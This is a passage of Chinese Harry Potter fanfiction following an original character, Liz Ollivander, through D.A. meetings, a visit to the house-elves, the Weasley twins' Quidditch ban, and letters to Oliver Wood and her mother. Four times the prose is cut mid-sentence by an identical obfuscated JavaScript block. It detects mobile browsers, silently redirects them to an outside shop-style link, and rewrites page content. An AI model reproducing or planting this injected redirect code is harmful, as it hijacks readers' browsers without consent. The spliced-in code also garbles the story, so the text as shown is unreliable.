D.A的活动进行到第四次的时候,毫无秩序和混乱的练习现场总算是变得井井有条了起来,率先通过测试的学生会手把手教还没有熟练的,哈利和莉兹也不用再扯着嗓子在场地里绕圈提醒每个人。 只是韦斯莱双胞胎兄弟依然经常会闹出点动静,比如在弟弟要练习粉碎咒的道具盒子里放上一颗大粪蛋,或者偷偷把金丝雀饼干塞进大家的口袋里,不一会儿就有中招的学生变成几秒钟的小鸟,然后再变回来。 毕竟都是些无伤大雅的小把戏,平时大家也都习惯了,所以起初莉兹忍了两回,迅速地使用清洁和恢复咒语解决一切,再后来她实在是被惹急了,兄弟俩刚一进门,口袋里藏着的东西便会被通通没收。 “小古板女士好像变成了妈妈。”弗雷德低声念叨。 “好儿子我听见了!”莉兹继续挥舞魔杖收拾出乔治攥在手里最后一块糖。 “这可不是把戏,”乔治揽过弗雷德的肩膀走向另一边,“这是给你的,好妈妈。” 他们之间这称呼惹得哄堂大笑,莉兹白了他们一眼撕开糖纸把棒棒糖塞进嘴里。赫敏小心翼翼地提醒:“你不用先检查一下吗?” “没关系,乔治不敢捉弄我。”莉兹轻声笑了笑,“他也玩不过我。” 这句听着像是玩笑话的解释让赫敏有点惊讶,她原以为他们关系亲近只是因为年级相同,况且兄弟俩喜欢逗女孩子们玩又不是一天两天了,现在再结合这段时间和莉兹的相处,赫敏才意识到这位奥利凡德小姐比她看起来要有意思得多。 她手拿着棒棒糖,清了清嗓子看向大家:“我们今天先检查上一回的粉碎咒,然后再学其他的。” 等到集中演示的环节结束时,莉兹和往常一样退到了角落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487872|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她漫不经心把玩着赫敏刚刚发给每个人的一枚“假加隆”,变化咒使用得不着痕迹,比自己做的那本册子还要完善许多。时不时她还抬头看一眼总是出岔子的几个人,隆巴顿今天没把魔杖甩出去,扎卡赖斯也没有跟搭档拌嘴闹事。 而且一想到接下来魁地奇赛季就要开始,D.A的集会可能会暂停一两周,她终于是长舒了一口气,她感觉自己的耐心大概也就到这里了,或者说她的社交能量已经到了极限。 每次从这间屋子离开,莉兹都有一种整个人都灵魂被抽干的错觉,而睡上一觉并不能帮助她找回全部的精力,因此她连着好几个深夜都在霍格沃茨的厨房待着,家养小精灵们总会轮番给她送上加餐,有时是梅丽熬的南瓜汤,有时是多比做的巧克力麦芬,连一开始战战兢兢不敢说话的闪闪都会烤上一盘蛋白酥等着她来。 这些馈赠偶尔也让莉兹产生了一丝愧疚,因为他们本不必要在睡觉时间里为她服务的,特别是在看到多比戴着的那顶毛线帽子时,她想起了格兰杰写的那本厚厚的家养小精灵权益草案,虽然目前的读者加上莉兹也不过四个人,并且这四个人里大概只有两个人真的读完了每个字。 然而莉兹的一句谢谢就差点让闪闪崩溃得用烤盘砸伤脑袋,梅丽还提到自己上次在楼梯上捡到了一双彩色的袜子,它太害怕了,幸好周围没有人,只得立刻扔掉。看来实现草案的第一条都会是一场漫长的征途——家养小精灵是具有独立思考能力的族类应当拥有与人权相同的权利,任何漠视权益的雇佣关系与买卖关系应当立刻禁止与取消。 这晚莉兹啃着一块涂满了蓝莓酱的司康饼,跟着梅丽到了小精灵们休息的房间,那里地方不算大,排列着一些上下铺,梅丽把挂在床边的风铃展示给莉兹看。它把瓶装黄油啤酒的瓶盖串起来,风吹来的时候会发出清脆的声响。 “梅丽捡了很久的瓶盖,一直到去年才完成这个风铃,奥利凡德小姐您看,善良的迪戈里先生送了这么多给梅丽。”她从床底下拉出一个酒箱子,装着满满一箱的瓶盖,“梅丽要给朋友们也做一个,这样它们都能听到好听的声音。” “你的朋友是多比和闪闪吗?”莉兹如今才明白塞德里克那神秘兮兮的贿赂手段是什么。 “其他人都不愿意跟它们在一起,但多比和闪闪都是好精灵,它们不是背叛主人的坏精灵,它们……”梅丽反应过来自己说了什么大逆不道的话,眼珠子都快瞪出来,眼泪滚出来,一滴滴落在箱子里。 “我什么都没听见,你什么都没有说,谁都没说错。”莉兹慌忙地说着,然后坐看右看将酒箱子的木板掰下一块,灵巧地挥舞了两下魔杖,木板就雕成了梅丽的模样,她把木头小人儿挂在了风铃下面,风一吹,木头梅丽就在转圈圈。 “奥利凡德小姐真厉害。”眼泪汪汪的梅丽抬起头来,好奇地看着那个小东西。 “如果你喜欢的话……”莉兹说着又把话咽了回去,而后用牛皮纸包住剩下的司康饼,先溜出了厨房,至少她现在知道应该给家养小精灵送点什么还不会让他们惩罚自己了。 85. 戒断反应 赛季第一场魁地奇比赛开始的那天下午,莉兹没有去球场,也许是因为乌姆里奇把学校里本就不多的社团统统都取消了,魁地奇甚至成了学生们为数不多的乐趣。当然了,即便不是这个原因,每到比赛日,无论是图书馆还是各个学院的公共休息室都会变得空荡荡的,很多人早早地就会去看台占个好位置,比如秋和玛丽埃塔。她们都习惯了帮天冷不爱出门的莉兹留个空位,只是这一回莉兹主动拒绝了一同前往的邀请,吃完午饭又回了寝室。 帕德玛在比赛开始前才出发去球场,她看到莉兹就这样安静地坐在地毯上,专心致志地雕着木头,便决定不再打扰,转身轻手轻脚地打开了房门。 按照开学时给出的赛程安排,原本的揭幕战应当是拉文克劳跟斯莱特林,但由于莉兹起初被禁赛的事情,导致重建拉文克劳魁地奇校队的时间比其他三个队迟了将近一个礼拜,所以就换成了格兰芬多。当时收到通知的安吉丽娜简直不敢相信自己听到了什么,毕竟她是先听到莉兹的退队而后才知道了比赛时间提前了。 弗雷德后来提到安吉丽娜看起来宛如乌云盖顶,再有一点点小刺激都能让她的世界雷暴连天,于是为了安抚他们的队长女士,格兰芬多队里所有人几乎利用了全部空余时间在练习,吃晚餐时乔治连南瓜浓汤里的勺子都拿不起来。 从前莉兹还有精力陪他们俩调侃几句奥利弗又给安吉丽娜施了夺魂咒,现在莉兹只会心不在焉地应声,因为她希望自己能够彻底觉得魁地奇已经与她毫无关系了。她可能需要一个戒断过程,把一个蟠踞在她生活里的部分一点一点清理干净。 至少用平常心去看待魁地奇对她来说实在不是一件容易事,尤其是格兰芬多与斯莱特林的比赛总是刺激且引人注目的,莉兹很清楚这一点,那一定不会让她觉得无聊。 主动放弃魁地奇之后,从西班牙寄来的信从一天一封,减少到了两天一封,再之后就是每周一封了,莉兹发现自己这迟来的叛逆似乎让米歇尔没了主意,毕竟妈妈也不能每天都寄一封吼叫信来威胁她,至于那早已堆成小山的信件,莉兹只会定期清理一下,根本没有打开过。母女之间的问题有千千万万种无效的解决办法,莉兹选了最常用的那一个。 与之相对的是,极少关心自己校园生活的罗里却时不时捎来一些东西,比如天气凉了之后需要的取暖药剂,或是几双新的羊绒袜子,顺便在里面夹上一张询问近况如何的纸条。真不知道是发生了什么,爸爸突然间就对她感兴趣了。 做点手工活确实能够成功转移人的注意力,莉兹嘴里叼着一根太妃棒棒糖,弓着背在窗边雕刻着木头,塞西尔几年前送的刻刀依然十分锋利,虽然用得很频繁,但刀柄上的龙蛋壳一点没有磨损,在夕阳下闪着蓝光。窗台上慢慢地出现了一个个精致的木雕,多比的大眼睛里似乎还能看到笑意。 饥饿的感觉提醒了她时间,此时窗外已经变得一片漆黑,莉兹伸了个懒腰站起身,念着清洁咒语将地上的木屑收拾得一干二净,然后把那些木头小人儿都塞进挎包里,她想晚餐之后应该有足够的时间去厨房找梅丽,顺便有机会碰见赫敏的话,也把这个事情告诉她一声,那么多的毛线帽子和袜子实在把家养小精灵们吓得够呛。 脚步轻快地下楼时,她跟戴维斯在学院的公共休息室里迎面撞上,两个人在狭窄的走道互相让了几回,莉兹只好摇着头向后退了半步,后背贴着墙,使了个眼色让他先过。而原本已经走过去的戴维斯突然停住了脚步,他清了清嗓子。 “下午的比赛格兰芬多赢了。” “是吗,那真不错。”莉兹潦草回应着。 “但是波特和韦斯莱兄弟被禁赛了,而且是永久的,我去送训练单子的时候从霍琦夫人那里听到的……”戴维斯说着说着又安静了下来,他小声嘀咕着,“真不知道为什么要告诉你这些,总之,晚上好!” 他抛下一句不咸不淡的问候,快步走上了台阶,莉兹在原地眨了眨眼,还没来得及多思考理由,公告栏上新增加的《第二十五条教育令》就已经给了她一点提示。而走进礼堂,秋连忙招手让她坐过来之后,又直接给她解释了事情的发生经过。 回过头去看格兰芬多的桌子,安吉丽娜和凯蒂几个人坐在一块儿,弗雷德被她们夹在中间,而不远处格兰杰的旁边是韦斯莱家那个小伙子,确实没见着波特。 可既然受罚的是兄弟俩,怎么只有乔治不在。 打架这种好事情,他们两个人竟然没有一起动手吗。 过了一会儿,乌姆里奇昂着头走进门,她的高跟鞋跟敲击着礼堂地面的石砖,她的目光扫过两旁的学生,虚伪的微笑让人食欲全无。在她身后,乔治快步溜到了弗雷德身边,他弯下腰不知说了些什么,弗雷德很快点了点站起身跟着跑了出去。 莉兹将盘子里剩下的一大块牛排直接叉起来塞进嘴里,费劲地咀嚼着,肉汁差点弄脏了衣服,秋十分体贴地将手帕扔给她,连忙擦干净嘴角和脸,咽下大块的肉,她含糊着说了声谢谢,然后抓过挎包的背带追上那对双胞胎。 神出鬼没的乔治和弗雷德仿佛一瞬间就没了踪影,莉兹站在楼梯口环顾了一下四周,皮皮鬼倒是从角落里钻了出来,他嘻嘻哈哈地绕着她转了好几圈,惹得莉兹头晕眼花的,闭着眼寻找平衡时,有谁拍了拍她的胳膊,下一秒又拉着她在长廊上狂奔。 低着头的莉兹注意到拉着自己的手背上稍有些骇人的青紫色,那和男孩正在笑着的脸太分裂了,在他的带领下穿过没有灯光的暗道,他推开一扇木头门,狭小的储藏室被他们的道具填得满满当当,几乎要溢出来。 “你们不会要告诉我这是新的据点吧?”她看向旁边的乔治问道。 “非常遗憾,这确实是,”被道具埋在最里面的弗雷德抢在兄弟之前出了声,他艰难地探出脑袋,“说实在的,这学校我们是没法儿待了。” “这环境降级也太过夸张了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487873|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点。”莉兹刚要掏出魔杖帮忙,乔治立刻拦住她。 “我们转移得太匆忙了,手提箱子炸开了,现在里面的东西在源源不断冒出来,要是引燃了那堆费力拔烟火……”乔治说道。 “我要是你们就把箱子扔进乌姆里奇办公室,然后——?!”莉兹推开他的手,做了一个飞上天的动作,接着把挎包丢到一旁,卷起袖子,“况且,恢复如初的咒语有这么难用吗,你们不是很熟练吗?” “无痕伸展咒失控了,我的小古板女士!”弗雷德这会儿已经没办法探出头了,他只能高举起手,向他们示意自己的位置。 “你们到底在里面塞了多少东西,是把整个发明室都塞进去了吗?”莉兹缓缓摇了摇头。 “不然躲不过费尔奇那个老家伙。”乔治别开眼,稍有些心虚地点了点头。 “梅林在上别聊天了你们俩!”弗雷德踮着脚,“还有没有人记得这里还有一个大活人呢!” “非法使用无痕伸展咒是会这样的,”莉兹都到这时候了一点不着急,“所以弗雷德你找到发疯的箱子了吗?” “就、差、一、点……”弗雷德伸长手终于够到了箱子的把手,他一把抓起来朝外面扔去。 说时迟那时快,乔治跳起来两手抱住,然后整个人压在了上面,莉兹便毫不犹豫地对着箱子念了两个咒语,霎时间躁动不安的箱子安静了下来,两个人松了一口气,瘫坐在地上。 “怎么样了?好了没?有没有人能管管我?”弗雷德连问了好几句,乔治才慢悠悠站起来,莉兹则是确认着箱子的情况,弯腰将手伸进去摸了摸,修复了原先的无痕伸展咒语,然后把堆在储藏室里的东西一点点向箱子里转移。 挪到一半的时候弗雷德终于能自由行动了,他一脸不可置信地看着站在外面的俩人,瞪大了眼睛质问道:“你们跟我说句话不会被诅咒的吧,太过分了!” 莉兹指着气喘吁吁在一旁垂头丧气的乔治,两手摊开,轻轻耸肩。 “那需要我的地方已经结束了,剩下的就你们兄弟俩自己处理吧,我不擅长解咒之外的事情。”说着她捡起自己的挎包,就准备向着厨房的方向走,其实她看得出乔治的心情很糟糕,但她一向自认不是个擅长开解别人的家伙,留在这里应该也是没用的。 “小古板女士可太谦虚了,从现在开始才是需要你的时候。”弗雷德挡在她身前。 “嗯?”莉兹皱起眉。 “总而言之,你就呆在这里吧!”弗雷德话音刚落,人就消失在了昏暗的走道里。 “那小子在逗你玩儿,”乔治摆了摆手,“我晚上什么都没吃,一会儿还要去找点东西吃呢。” “那我们一起去厨房?”莉兹看向他,“我们正好顺路。” 乔治似乎想要说些什么,最后还是把箱子锁进了储藏室,应声点了点头,这一下午实在是发生了很多事,他很希望莉兹在这里,但又不希望莉兹在这里。 86. 厚厚一叠回信 如果现在是乔治刚认识莉兹的那一年,他会觉得在宵禁时间之后跟一个女生偷溜到厨房找吃的是一件很有意思的事情,但他无法分辨这是因为对象是某一个人,还是因为打破规则本身,乔治·韦斯莱并不是个听话的孩子。 莫丽经常在训斥他们的时候说,真希望这是命运给她开的玩笑,因为这样不乖的小孩她竟然一次生下了两个。不过妈妈的话通常对他们产生不了什么影响,乔治觉得自己的耐心只足够听到第五个单词,而弗雷德甚至还不如他,他可能只能听完第二个。 不负捣蛋鬼之名,乔治与兄弟二人的成就感总是来自于别人的反应,他们从小就喜欢看妈妈气得跳脚的模样、哥哥们苦恼的眼神、弟弟无奈的哭脸,唯一不能惹的是最小的妹妹,不然连爱和稀泥的爸爸都会加入妈妈的阵营,那可有点糟糕了。 兄弟二人第一次去霍格沃茨的时候,他们意识到除了拥挤的陋居、种着南瓜的田地,以及会在春夏季节盛放花朵的后山,这将会是捣蛋鬼们新的游乐场。于是不出所料,弗雷德在开学当晚就差一点连累了全船的新生都掉进湖里,好不容易稳住平衡的乔治根本没有在意其他人惊慌的叫喊,只一味笑话着弗雷德。 晃悠中飞出去的巫师帽被谁伸手一把抓住,这过人的反应速度吸引了乔治的注意,他回头看到了一个身材矮小、顶着一头深色蓬松卷发的女孩,她的眼珠子圆滚滚的,竟和月光是一个眼色。女孩瞥了他二人一眼,将巫师帽扔到乔治怀里,接着又扭头看向另一侧。 可下船时她却动作磨磨蹭蹭的,走路慢慢悠悠,一点不着急,好奇于她刚刚的敏捷,乔治偷偷踩了一下前面同学的斗篷,那男孩抱着的一只蟾蜍正冲着女孩的脸跳去。伴随着其他人的一声“哎呀”,她平静地后退了一步,甚至还有功夫再向后瞥一眼,一边抬手抢过乔治的帽子,一边侧过身接住了那只蟾蜍,粘得帽檐上全是黏液。 一声不吭地把宠物还给主人,女孩迈开步子走到了队列的前方,乔治忍不住要拍手叫好,这便是留在他记忆里最初的莉兹。 他想到这里,悄悄看向了盘腿坐在壁炉前吃着土豆馅饼的她,实际上莉兹没有太大的变化,乱蓬蓬的卷发只在舞会那天很是服帖,比起安吉丽娜和凯蒂,她依然个头不高,至于那双奇特的眼睛,仿佛比那时候更像月亮了,直视着别人的时候像能照出人影似的。 而她那副“除我之外皆笨蛋”的态度一如既往,有时候还愈演愈烈,哪怕是联合起来和乌姆里奇作对时,乔治都不觉得她好相处。既然她并不算漂亮,性格不算好,还曾经戴着那枚愚蠢的级长徽章,他明明能列出十几条莉兹·奥利凡德不是个迷人女孩的理由,但他仍然克制不住自己的想法,那就是她好像什么都好。 多滑稽啊,不完美的小古板女士看起来总是这么完美。 “你还要再添一块儿吗,我可要吃饱了。”莉兹说着将铁盘上烤热的馅饼夹到了乔治的盘子里。 根本是食不知味的乔治来不及拒绝,只是接住了那块热腾腾的馅饼,又听到她继续说:“那弗雷德把你交给我总要有个理由,说吧,虽然我开解不了任何人,但耳朵还挺好使。” 看向她的脸,乔治迟迟说不出话,为了掩饰自己的表情,他不顾烫舌头,把馅饼塞了满嘴,然后含含糊糊说着:“我就是觉得不公平。” “确实不公平……”莉兹顿了顿,“可是你舌头不痛吗?” “痛。”乔治点了点头。 莉兹被这难得老实的模样逗笑了,挥着魔杖将一杯水送到他手边,同时抚摸着手背上的伤疤。 喝下一大口凉水,乔治缓过来了一些,他放下手里的叉子和盘子,清了清嗓子:“那个斯莱特林小子确实该打,但我更生气的是自己明知道这是在犯蠢却还一头扎进去,我喜欢滑稽的事情,可当我是那个滑稽剧小丑的时候,这一切并不好笑。” “哇哦,都走到反省这一步了,”莉兹眨了眨眼,“比我想象得成熟多了。” “别逗了。”乔治笑了一声。 “确实在逗你玩儿,”莉兹轻轻一歪头,“毕竟我不认为自己能做得更好,当面挑衅乌姆里奇算么?” “非要在这种时候比惨吗?”乔治继续笑着。 “我已经说过我不会安慰人了,当然你们不算孤单,”莉兹拍了拍外套上的灰站起身,“至少魁地奇禁赛名单和她个人的黑名单上也有我的大名。” 见莉兹开始收拾东西,乔治问道:“你准备要回去了吗?” “还有什么要说的吗?”莉兹低头。 犹豫了一下,乔治开了口说:“晚安。” “祝你好梦!”莉兹扔下这一句,接着轻手轻脚跑出了厨房。 躲在角落的家养小精灵梅丽开心地跟她挥手道别,还坐在壁炉边的乔治深吸了一口气,躺倒在一大堆干草上,他现在只想清空自己的大脑,什么都不愿意想。 这天之后连着两周的学院比赛,格兰芬多的情况都不尽人意,安吉丽娜紧急找来了几个替补,里面只有担任找球手的金妮勉强跟上了比赛节奏,罗恩不知怎么的,一场比一场不在状态。与拉文克劳的比赛中甚至连丢了四个球,气得安吉丽娜当场便对着他吼出了声,秋与戴维斯不得不跟着凯蒂几人一起上前劝阻,防止他们被场边的乌姆里奇再次惩罚。 莉兹听着秋的转述面色平静,仿佛这一切都在她的预料中一般,倒不是因为她有如此远见,只是她已经对他们在乎的东西的真正失去了兴趣,亚克斯利尚且可以凭一己之力毁掉英联赛,乌姆里奇毁掉一个霍格沃茨的魁地奇比赛又算得了什么呢。 何况在《第二十五条教育令》颁布后,此人也变得异常忙碌,没有黑魔法防御课的时候,她就在整个学校里转悠,从天文学课转到占卜学课,从麻瓜研究课转到古代文字学课,从魔咒学课转到魔药学课,又从草药学课最后转到保护神奇动物课。莉兹在前两天的魔药学课上刚好碰见乌姆里奇拿着一本记分册站在那里盯着斯内普,按顺序一句句质询着。 问到那句“有没有使用过什么非常规的教学手段”时,莉兹和身旁的韦斯莱双子同步调地点了头。因为斯内普确实试过给同班男生的老鼠下毒,然后要求所有人制作解毒剂。 这已经不能算是“非常规”了,简直是违反实验动物伦理学吧。 趁着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487874|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌姆里奇这阵子的忙碌,莉兹发现她不再有心思偷窥自己的信件了,也有可能是塞西尔跟自己之间足够默契,在那句关于波特的纸条之后就没有再有过新的消息,让那老虫莫虫合暂时降低了警惕。 于是她时隔几周总算是给伍德寄去了一封信,借了秋的猫头鹰,当晚便收到了回信。伍德好像有许多的话要说一般,信封里塞了厚厚的一叠信纸,上面还印着特别的火漆印,莉兹认出这是少见的誓约印,若不是收件人亲自打开,信件便会自燃。 吃惊于木头先生的机警,莉兹也因他急切的回信而感到愉悦,想念与爱果真是个玄乎的东西。 莉兹 终于又能收到你的信了,我等得太久了,要是再没有你的消息,我想我一定会偷偷溜回霍格沃茨直接去见你的。 你退役的事情我已经从安吉丽娜那里听说了,我以前可能说过一些奇怪的话,那时候的我太讨厌了是吧。但这是你的决定也是你的未来,如果米歇尔女士非要继续逼你,记得叫上我,我会挡在你们中间的。 放心,我的身材很结实。 …… 学校的魁地奇比赛也是一团糟吗,普德米尔这里更是如此,加上我,被恶意罚下禁赛的队友已经凑齐六个人了,我们都够成立一个新的二队了,达里安(我们的新教练)说二队的名字就叫禁赛队。 我现在也打不了比赛,所以有空的时候就到帕特里克跟杰姬那儿帮手,他们可太厉害了,每天的观众来信像雪花一样,堆满了房间的走廊。 不知道你有没有看《预言家日报》,上个星期有人把电台举报了,说的是匿名人士,但怎么想都是亚克斯利那老东西在耍花招。昨天魔法部的审判结束了,要求《魁地奇夜话》缴纳两千多加隆的罚金。听起来挺荒唐的,帕特里克本来想上诉的,不过今早居然收到了一大笔募集的资金,莱莉和整个哈比队主动帮了手,她们希望电台能继续为受到不公平待遇的选手与球队发声。 虽然不好的事情很多,但好事也在发生,所以我想你那里也是一样的,好的事情会来的,只是稍微迟了一点。 …… 不知道什么时候能见到你,圣诞节你会回来吗,帕特里克和杰姬说想去巴黎玩,我现在也是回不了家的人了(当然我不是希望你也不回家)。 就是如果我们能一起去度假的话(划掉的句子) 总之,我非常想你。 爱你 正在整理信件的奥利弗 莉兹读完信将信纸收回信封里,心想着他可真是个傻小子,而且两千多加隆,魔法部到底用了什么法条能做出这样的审判,难道真和塞西尔说的一样,康奈利·福吉已经成了一个自欺欺人的糊涂蛋吗,那也太令人糟心了。 又琢磨着那句“回不了家的人”,莉兹轻轻长叹,距离圣诞节假期不到一个月了,她确实得想想怎么面对米歇尔女士,毕竟西班牙的魁地奇联赛马上就要开始冬休了。 是啊奥利弗,好的事情,哪怕发生一件也好啊。 她这样想着,抽出一张新的信纸,决定给米歇尔回一封信。 因为她的确想去巴黎过圣诞节了。 87. 我们都有自己的人生 亲爱的妈妈 很抱歉一直没有回复您的信件,这段时间我以为也许沉默能让一些事情变得不再值得您关注,但我明白这不是解决问题的办法,哪怕我的想法对您来说从不重要,可我仍然希望你能把它们当作是真实的。 我不会用我并不喜欢魁地奇,或者我后悔练习它来对您提出的那个未来说不,因为我从未说过我后悔,那个为您创造了无限荣光的世界,我认为它很美好,您的梦想和您的事业,那对我来说一直都是如此耀眼。 普德米尔联队的三冠功臣,英格兰国家队有史以来得分最高的选手,大家不会称您是洛夫古德,也不会用奥利凡德称呼您,您是所有魁地奇球迷心中的米歇尔女士。 也是我的米歇尔女士。 可妈妈,魁地奇从一开始就不是我的梦想,我从未设想过自己能成为赛场上的英雄,我只是一直认为我这么做能够让您高兴。 那时您第一次将我抱上这把刻着米歇尔名字的扫帚,当您松开手的瞬间,我立刻飞离了地面,在空旷的球场绕了三个圈。我来不及用眼泪向您表达我的恐惧,因为它和玩具扫帚太不一样了,它太快了,飞得太高了,风早就吹干了那点泪水。 可一落地我便看到了您在笑,也许您根本不会记得,这是我第一次在赛场之外看到您露出这样的表情。 我甚至还无法理解自己做对了什么,您就给我买了一个大颗的冰淇淋球,上面还淋了厚厚两层太妃糖浆,于是我在那个时候突然懂了一个道理,只要让米歇尔女士高兴了,我就可以去做我想做的事情。 比如那颗您认为我根本无法一个人吃完的冰淇淋球(虽然我确实没有吃完,但您也没有因此责备过我)。 在老宅度过的那一夜,我曾幻想过这是您给我的一个信号,意思是您愿意听我说一次自己的想法。后来发生的事情我们也都看到了,您可能从来都不认为我的想法是值得聆听的。 不过这对现在的我也不重要了,我所处的这个世界变化得太快了,这让我意识到如果我依然躲进魁地奇的圈子里,只为了让您高兴这一件事活着的话,那实在太自私了。 这也是我对当时您提出的问题的回答,我不会因为任何一个人去做出自己的选择,不会因为父母站在哪里就站到哪里,也不会因为要反抗您而站到对立面,我只会做出自己认为正确的选择,并坚持到底,哪怕这条道路上没有人相伴。 妈妈,我理解您想要让我感受和您同样的光荣的心情,我不会否认那是一种爱,但您的人生对我的肩膀而言过于沉重了。 我有我的人生需要担负,只能抛下您向前了。 无论您看到这封信的心情是什么,那都不会再影响到我了,我衷心祝愿您在西班牙的执教生涯会是您下一次的荣光时刻。 P.S.奥利弗和他的朋友们邀请我去巴黎度过圣诞假期,我会和爸爸还有爷爷再单独写信的,提前祝圣诞快乐。 愿一切都好。 莉兹 不出所料,米歇尔自那之后果然没有再寄来任何信件。差不多半个月之后,一个从西班牙邮寄来的包裹摆在了莉兹的床头,掂量着有些分量,她在寝室其他人回来之前拆开了牛皮纸,一张写着祝福语的小卡滑落在地,至于沉甸甸的,是一件绛紫色的羊绒大衣,领子上用银线绣着星星,里衬是防寒的魔法材料,和秋冬联赛时的魁地奇选手斗篷用料的一模一样。 扣上最后一个纽扣,莉兹扎好了大衣的腰带,银色的星星和她的眼睛同时在镜子里闪着光,却发现自己早已不知道如何跟妈妈坦率地说出感谢与喜欢。 走廊上的动静将她从沉思中拉出来,莉兹拿过床上的魔杖飞快地收拾完地上撕开的牛皮纸,在寝室门打开之前,身上穿着的大衣也叠好飞进了行李箱中,最后是咔嗒一声按上锁扣,莉兹悄悄长舒一口气,仰卧在床上翻开了一本书。 为了准备O.W.Ls考试,帕德玛总是到很晚才会从公共休息室回来,所以这会儿进门的是玛丽埃塔跟秋两个人,她们似乎是在讨论圣诞节的去向。 “天呐真不敢相信,妈妈在魔法部工作这么多年,从没有一次错过一家人一起过节的日子,她甚至想让我今年留校,这样爸爸也可以一起值班了,都是那个人的错,那个……” 尽管玛丽埃塔特地压低了声音,莉兹还是清楚听见了乌姆里奇的名字,想来大约是她借的福吉的名义向所有子女正在霍格沃茨读书的魔法部职员们施压了,真是相当卑劣却也是有效的手段。 “如果你愿意的话,我们可以一起切圣诞蛋糕,我想爸爸妈妈也会很欢迎你的。”秋笑着邀请道。 “这太好了,”玛丽埃塔又站起身,“我一直很想到朋友家过夜,我们会有机会见到利亚姆吗,我看过你们的合照,他可太帅气了。” “哦玛丽——”秋无奈地摇了摇头,玛丽埃塔便偷笑着抱住了她的胳膊。 在床上翻了个身,莉兹放下书的动作吸引了聊天的二人的注意力,玛丽埃塔清了清嗓子,主动问道:“你放假要回家吗?” “不回。”莉兹摸着口袋里的那枚假加隆,心不在焉回着话。 “你不会还跟妈妈在闹脾气呢吧,不就是……” 秋拉了拉玛丽埃塔的袖子,打断了她的话,然后自己开口关心道:“但是乌姆里奇应该会对留校的学生做些什么吧,我还是觉得莉兹你回家会好一点。” “我不会留校的,”莉兹微微一笑,“放心我也不会在外面流浪,我跟奥利弗在一块儿。” “这样啊!”秋好像比莉兹更高兴似的,“我早该想到的。” “哦,假期前最后一次D.A集会的时间定了,”莉兹把发热的加隆拿出来,“我准备和波特商量一下,守护神咒还是只能单独练习。” “为什么,这不是你们会的最难的咒语吗,当然应该一起学习呀?”玛丽埃塔昂起头问。 莉兹转头看向她,沉默了几秒钟没有立即开口,然后瞥了一眼秋,敷衍道:“就是因为一辈子学不会守护神咒的人也不在少数,才不应该占用集会的时间,我们应该在有限时间里学更多的东西,你说呢?” 看似无懈可击的逻辑,其实没有回应玛丽埃塔的疑惑,但也足够将对方绕进来了,秋倒是隐约意会到了莉兹的意思,她将话题重又扯开。 在这个时间段,谨慎一些总是不为过的,要知道每个人的守护神都是独一无二的,即便是同样的犬类守护神,也会有形态、大小与长相的不同,甚至可以说,这几乎是一种身份验证手段,即便是利用魔咒或是魔药变成了另一个人的模样,也无法模仿出对方的守护神。 况且莉兹与波特之间也并不清楚彼此对守护神咒的掌握到了什么程度,再加上他们似乎也还没有建立足够坚实的信任关系,莉兹不知道现在是不是一个透露底牌的好时间。她逐渐明白了塞西尔一直以来的那些犹豫,当一件事最后只能依靠摸不着的信念支撑下去的时候,她的表态与其说是基于相信,更像是拉人下水,只有结局是好的那一刻,在深水中的挣扎才有意义。 尽管往日集会时莉兹就少言寡语,但近日的沉默还是让哈利有点在意,他走到莉兹身边,她正盯着墙上贴着的《预言家日报》还有各种报纸一言不发,不知在思索什么。 “这些日子谢谢你的帮助,很多复杂的咒语我都没见过……还有以前隐形衣的事情也是,总之谢谢你。”哈利组织着语言想要和这位算不上熟悉,却又在这种时候选择跟他们站在一起的朋友表达感谢。 “都是我自己想做的事情,所以你不用放在心上。”莉兹扫过那篇标题是魔法部内部肃清行动进行时的报道,斯克林杰站在台前发言,下面坐着的都是部里的职员们,最角落里有个人在打着呵欠,刺毛一样的短发抖了几下。 于是她顿了顿,又继续说道:“波特,我的守护神是一只猎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487875|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狼犬,左眼上有一块深灰色的毛。” 